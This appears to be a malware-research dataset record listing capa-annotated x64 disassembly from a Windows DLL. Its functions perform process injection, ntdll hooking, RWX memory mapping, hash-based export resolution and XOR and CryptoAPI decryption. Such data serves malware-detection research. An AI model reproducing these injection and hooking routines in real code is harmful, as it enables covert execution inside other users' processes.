joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002f80
Capabilities:
Resume thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
mov r9, qword [rsp + 0x68]
mov rax, r8
mov r8, qword [rsp + 0x60]
mov rsi, rdx
mov rbp, rcx
xor ebx, ebx
mov qword [r11 - 0x10], rbx
mov edx, 0x100000
mov rcx, rax
mov dword [rsp + 0x20], 4
call fcn.1800088ac
mov rdi, rax
test rax, rax
jne 0x180002fd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180003025
test rbp, rbp
je 0x180003006
test rsi, rsi
je 0x180003006
xor r8d, r8d
mov edx, 0x20196
mov rcx, rsi
call fcn.18000443c
mov r8, rsi
mov rdx, rbp
xor ecx, ecx
call fcn.180004ad0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x18000301c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180005304
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov edx, 0x5c
mov rbx, rcx
call fcn.1800150dc
test rax, rax
je 0x180005327
lea rbx, [rax + 1]
xor ecx, ecx
mov edx, 0x1a0
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x180030ac8], rax
test rax, rax
je 0x1800053d8
mov rcx, rax
call fcn.180005748
mov rcx, qword [0x180030ac8]
mov r9d, 0xff
lea edx, [r9 + 1]
mov r8, rbx
call fcn.180015020
mov rcx, qword [0x180030ac8]
call fcn.180014e80
mov rcx, qword [0x180030ac8]
inc eax
mov dword [rcx + 0x100], eax
mov rax, qword [0x180030ac8]
mov qword [rax + 0x108], rdi
mov rcx, qword [0x180030ac8]
call fcn.180005acc
mov rcx, qword [0x180030ac8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [0x180030ac8]
mov rbx, rax
call fcn.180005990
mov rcx, qword [0x180030ac8]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180005680
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbx, r8
lea rax, [r11 + 0x18]
mov rsi, r9
mov rdi, rdx
mov r8, rdx
mov r9d, 5
or rcx, 0xffffffffffffffff
mov rdx, rbx
mov qword [r11 - 0x48], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
lea rdx, [rsp + 0x30]
sub eax, ebx
mov r8d, gethostbyname
mov rcx, rdi
sub eax, 5
mov byte [rbx + 5], 0xe9
mov dword [rbx + 6], eax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x54]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
sub esi, edi
lea r9, [rsp + 0x78]
sub esi, 5
mov byte [rdi], 0xe9
mov dword [rdi + 1], esi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x30]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180005748
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1800058c4
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, [r13 + 0x144]
lea r9, [0x180005620]
mov rdx, rdi
mov rcx, r13
mov r8, rbx
mov r12, rax
call fcn.180005680
mov qword [r13 + 0x190], rbx
lea rbx, [r13 + 0x126]
lea r9, [0x1800054e4]
mov r8, rbx
mov rdx, rsi
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x178], rbx
lea rbx, [r13 + 0x130]
lea r9, [0x180005564]
mov r8, rbx
mov rdx, rbp
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x180], rbx
lea rbx, [r13 + 0x13a]
lea r9, [0x1800055f0]
mov r8, rbx
mov rdx, r14
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x188], rbx
lea rbx, [r13 + 0x11c]
lea r9, [0x180005478]
mov r8, rbx
mov rdx, r15
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x170], rbx
lea rbx, [r13 + 0x14e]
lea r9, [0x180005660]
mov r8, rbx
mov rdx, r12
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x198], rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800058e8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rdi, rdx
mov rbx, r8
lea rdx, [rsp + 0x38]
mov rcx, rdi
mov r8d, gethostbyname
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x5c]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rbx
lea rax, [rsp + 0x30]
or rbx, 0xffffffffffffffff
mov r9d, 5
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x180005990
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, [0x1800236bc]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x180005aa7
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, r15
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [r13 + 0x144]
mov rdx, rbx
mov rcx, r13
mov r15, rax
call fcn.1800058e8
lea r8, [r13 + 0x126]
mov rdx, rdi
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x130]
mov rdx, rsi
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x13a]
mov rdx, rbp
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x11c]
mov rdx, r14
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x14e]
mov rdx, r15
mov rcx, r13
call fcn.1800058e8
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
ret
Function at 0x180005acc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x108]
mov rdi, rcx
mov esi, 0x40
movsxd rbx, dword [rax + 0x3c]
mov ebp, 0x3000
mov r9d, esi
add rbx, rax
mov r8d, ebp
mov edx, dword [rbx + 0x50]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
mov qword [rdi + 0x110], rax
test rax, rax
jne 0x180005b31
mov edx, dword [rbx + 0x50]
mov r9d, esi
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rdi + 0x110], rax
mov eax, dword [rbx + 0x50]
lea rcx, [0x1800236bc]
mov dword [rdi + 0x118], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtLockVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or r15, 0xffffffffffffffff
test rax, rax
je 0x180005b86
mov rcx, qword [rdi + 0x110]
lea r9d, [r15 + 2]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rcx
mov ecx, dword [rbx + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov rcx, r15
call rax
mov r9d, dword [rbx + 0x54]
mov r8, qword [rdi + 0x108]
mov rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
mov ebp, r14d
cmp r14w, word [rbx + 6]
jae 0x180005bef
lea rsi, [rbx + 0x2c]
add rsi, rax
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
mov r9d, dword [rsi - 4]
add r8, qword [rdi + 0x108]
add rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc ebp
lea rsi, [rsi + 0x28]
cmp ebp, eax
jl 0x180005bbb
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006108
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x180006139
xor eax, eax
jmp 0x1800061d8
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
test rdx, 0xffffffffffff0000
jne 0x180006181
movzx eax, dx
sub eax, dword [rcx + 0x10]
jmp 0x1800061aa
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x1800061cc
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.180014e00
test eax, eax
jne 0x1800061b8
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x1800061cc
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x180006188
jmp 0x1800061d5
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x18000633c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
and qword [rax - 0x18], 0
and dword [rax + 8], 0
and dword [rax + 0x20], 0
test rcx, rcx
je 0x1800063d7
test edx, edx
je 0x1800063d7
mov rdx, r8
call fcn.180006200
test eax, eax
je 0x1800063cc
mov esi, eax
add rsi, rbx
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800063cc
call rsi
test rax, rax
je 0x1800063b6
lea r8, [rsp + 0x20]
mov edx, 6
xor ecx, ecx
call rax
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x20]
jmp 0x1800063d5
jmp 0x1800063d9
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180006510
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0x25b0
call fcn.180014f40
sub rsp, rax
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
xor esi, esi
mov r9d, dword [rax + rcx + 0x88]
mov ebp, r8d
mov r14, rdx
add r9, rcx
mov r11, rcx
mov r15d, dword [r9 + 0x1c]
mov r10d, dword [r9 + 0x20]
mov edi, dword [r9 + 0x24]
mov r9d, dword [r9 + 0x18]
add r15, rcx
add r10, rcx
add rdi, rcx
test r9d, r9d
je 0x1800065c5
mov ecx, dword [r10]
mov eax, 0x775a
add rcx, r11
cmp word [rcx], ax
jne 0x1800065b6
mov al, byte [rcx]
xor r8d, r8d
ror r8d, 0xd
movsx eax, al
inc rcx
add r8d, eax
mov al, byte [rcx]
test al, al
jne 0x180006580
movzx eax, word [rdi]
mov edx, ebx
inc ebx
mov ecx, dword [r15 + rax*4]
add rdx, rdx
add rcx, r11
mov dword [rsp + rdx*8 + 0x28], r8d
mov qword [rsp + rdx*8 + 0x30], rcx
cmp ebx, 0x258
je 0x1800065c5
inc esi
add r10, 4
add rdi, 2
cmp esi, r9d
jb 0x18000656b
lea eax, [rbx - 1]
xor edx, edx
mov dword [rsp + 0x20], ebx
test eax, eax
je 0x180006634
mov eax, ebx
xor ecx, ecx
sub eax, edx
dec eax
je 0x18000662b
lea r10d, [rcx + 1]
mov r9d, ecx
add r9, r9
mov r8d, r10d
mov rdi, qword [rsp + r9*8 + 0x30]
add r8, r8
mov r11, qword [rsp + r8*8 + 0x30]
cmp rdi, r11
jbe 0x18000661d
mov ecx, dword [rsp + r9*8 + 0x28]
mov eax, dword [rsp + r8*8 + 0x28]
mov qword [rsp + r9*8 + 0x30], r11
mov dword [rsp + r9*8 + 0x28], eax
mov dword [rsp + r8*8 + 0x28], ecx
mov qword [rsp + r8*8 + 0x30], rdi
mov ebx, dword [rsp + 0x20]
mov eax, ebx
mov ecx, r10d
sub eax, edx
dec eax
cmp r10d, eax
jb 0x1800065dc
lea eax, [rbx - 1]
inc edx
cmp edx, eax
jb 0x1800065d2
xor esi, esi
test ebp, ebp
je 0x18000667e
mov rdi, r14
xor ecx, ecx
test ebx, ebx
je 0x180006674
mov rdx, qword [rdi]
mov r8d, dword [rdx]
mov eax, ecx
add rax, rax
cmp dword [rsp + rax*8 + 0x28], r8d
je 0x18000665d
inc ecx
cmp ecx, ebx
jb 0x180006649
jmp 0x180006674
mov dword [rdx + 8], ecx
mov rdx, qword [rdi]
add rcx, rcx
mov rcx, qword [rsp + rcx*8 + 0x30]
call fcn.180006a08
test eax, eax
je 0x1800066ba
inc esi
add rdi, 8
cmp esi, ebp
jb 0x18000663d
xor ecx, ecx
test ebp, ebp
je 0x180006698
mov rax, qword [r14]
cmp qword [rax + 0x10], 0
je 0x1800066ba
inc ecx
add r14, 8
cmp ecx, ebp
jb 0x180006684
mov eax, 1
lea r11, [rsp + 0x25b0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
xor eax, eax
jmp 0x18000669d

Function at 0x1800068a8
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
test r8d, r8d
je 0x1800068c9
mov r10d, r8d
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + rcx]
xor byte [rdx], al
inc rdx
dec r10
jne 0x1800068b3
ret
Function at 0x180007150
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [0x180030ad0], 0
mov rbx, rcx
jne 0x180007176
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x180030ad0], rax
mov rcx, rbx
call fcn.180009de8
cmp dword [rbx + 8], 0xa2a1de0
mov edi, eax
je 0x1800071b9
cmp dword [rbx + 8], 0x56a2b5f0
je 0x1800071b0
cmp dword [rbx + 8], 0xea320efe
jne 0x1800071a3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov eax, edi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x180007210
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdi, r8
mov r13, rdx
mov r15, rcx
lea r8d, [r9 - 4]
lea rdx, [rdi + 4]
xor ebx, ebx
and qword [rbp - 0x10], rbx
mov rcx, rdi
call fcn.1800068a8
lea edx, [rbx + 0x48]
lea ecx, [rbx + 1]
call fcn.18001412c
mov rsi, rax
test rax, rax
jne 0x180007261
lea ebx, [rax + 8]
jmp 0x18000739a
mov ecx, dword [rdi + 0x14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r15 + 0xa0]
test rcx, rcx
je 0x180007348
cmp dword [rcx + 0x14], ebx
je 0x180007348
test eax, eax
je 0x180007348
mov ecx, dword [rdi + 0x18]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r15 + 0xa0]
lea r9, [rbp - 0x10]
sub eax, 0x18
xor r8d, r8d
xor edx, edx
mov dword [rbp + 0x58], eax
mov rcx, qword [rcx + 8]
lea r12, [rdi + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x1800072c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000738e
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
lea r8, [rbp + 0x50]
lea edx, [r9 + 4]
mov dword [rbp + 0x50], 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x1800072bc
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
lea r8, [rdi + 0x20]
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x1800072bc
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
lea rax, [rbp + 0x58]
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
xor edx, edx
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1800072bc
mov edx, dword [rbp + 0x58]
lea rcx, [rdi + 0x20]
mov r8, r12
mov r9d, edx
call fcn.1800155c0
mov ecx, dword [rbp + 0x58]
add ecx, 8
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rdi + 0x18], eax
mov ecx, dword [rdi + 0x18]
mov dword [rsi + 0x18], ecx
mov eax, dword [rdi + 0x1c]
mov dword [rsi + 0x1c], eax
call qword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
mov ecx, eax
mov dword [rsi + 0x28], eax
mov r14d, eax
call fcn.180013918
mov qword [rsi + 0x20], rax
test rax, rax
jne 0x180007378
lea ebx, [rax + 8]
jmp 0x180007392
lea r8, [rdi + 0x20]
mov r9, r14
mov rdx, r14
mov rcx, rax
call fcn.180015538
mov qword [r13], rsi
test ebx, ebx
je 0x18000739a
mov rcx, rsi
call fcn.180004250
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x1800073a9
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800081dc
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, rcx
mov ebp, reloc.WS2_32.dll_ntohl
mov r14, r9
lea ecx, [rbp + 0x2a]
mov r15, r8
mov esi, edx
call fcn.180013918
mov rbx, rax
test rax, rax
je 0x180008360
lea r8d, [rbp + 0x2a]
xor edx, edx
mov rcx, rax
call fcn.180014270
mov qword [rbx], rdi
lea edx, [rbp - 0xc]
mov rcx, rdi
test esi, esi
je 0x180008267
call fcn.180006108
mov rcx, qword [rbx]
lea edx, [rbp - 0xb]
mov qword [rbx + 8], rax
call fcn.180006108
mov rcx, qword [rbx]
lea edx, [rbp - 9]
mov qword [rbx + 0x10], rax
call fcn.180006108
mov rcx, qword [rbx]
lea edx, [rbp - 0xa]
mov qword [rbx + 0x18], rax
call fcn.180006108
jmp 0x1800082a3
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 3
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 5
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 4
mov qword [rbx + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [rbx + 8]
mov qword [rbx + 0x20], rax
test r8, r8
je 0x18000830e
mov rax, qword [rsp + 0x60]
mov rdx, r15
mov qword [rbx + 0x30], rax
mov rcx, qword [0x18002e5e0]
call r8
mov rcx, qword [0x180030aa0]
mov qword [rbx + 0x28], rcx
mov ebp, eax
test eax, eax
jne 0x180008306
cmp qword [rbx + 0x18], 0
je 0x1800082f5
mov rdi, qword [rbx + 0x30]
jmp 0x1800082f0
mov ecx, dword [rdi]
call qword [rbx + 0x18]
mov rdi, qword [rdi + 0xb8]
test rdi, rdi
jne 0x1800082e4
mov rcx, qword [0x180030ae0]
mov rdx, rbx
call fcn.180005eb4
jmp 0x18000830e
mov rcx, rbx
call fcn.1800138d8
test r14, r14
je 0x180008360
mov rdi, qword [rbx + 0x28]
jmp 0x18000835a
mov r8d, dword [rdi]
mov edx, 0x2000b
mov rcx, r14
call fcn.18000443c
mov rax, qword [0x180030ae0]
mov rsi, qword [rax]
jmp 0x18000834e
mov rax, qword [rsi + 0x10]
cmp rax, rbx
je 0x18000834b
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x18000834b
mov ecx, dword [rdi]
call rdx
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180008335
mov rdi, qword [rdi + 0xb8]
cmp rdi, qword [rbx + 0x30]
jne 0x180008319
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x180008778
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov edi, r8d
mov r14, rdx
mov qword [rax - 0x28], rbx
mov dword [rax - 0x30], 0x80
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rax - 0x38], 1
mov esi, ebx
mov dword [rax + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1800087ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180008804
test edi, edi
je 0x1800087fb
mov edx, esi
lea r9, [rsp + 0x78]
mov r8d, edi
mov rcx, rbp
add rdx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800087fb
add esi, dword [rsp + 0x78]
sub edi, dword [rsp + 0x78]
jne 0x1800087d2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1800088ac
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [rsp + 0x98]
mov ebx, dword [rsp + 0x90]
lea rdi, [r11 - 0x18]
test rax, rax
mov rsi, r9
mov rbp, r8
cmovne rdi, rax
mov r14, rcx
mov qword [r11 - 0x38], rdi
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x48], r9
mov r9, r8
mov r8, rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x1800089d6
and qword [rsp + 0x98], 0
cmp dword [0x180030af0], 0
mov rax, qword [0x180030ae8]
jne 0x180008965
test rax, rax
jne 0x18000895b
lea rcx, [0x1800236bc]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030ae8], rax
mov dword [0x180030af0], 1
test rax, rax
je 0x1800089cb
and qword [rsp + 0x48], 0
lea rcx, [rsp + 0x98]
shr ebx, 2
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rbp
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
and ebx, 1
xor r9d, r9d
mov r8d, ebx
xor edx, edx
mov rcx, r14
call rax
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x1800089d6
test rdi, rdi
je 0x1800089d6
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [rdi], eax
jmp 0x1800089d6
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x98]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret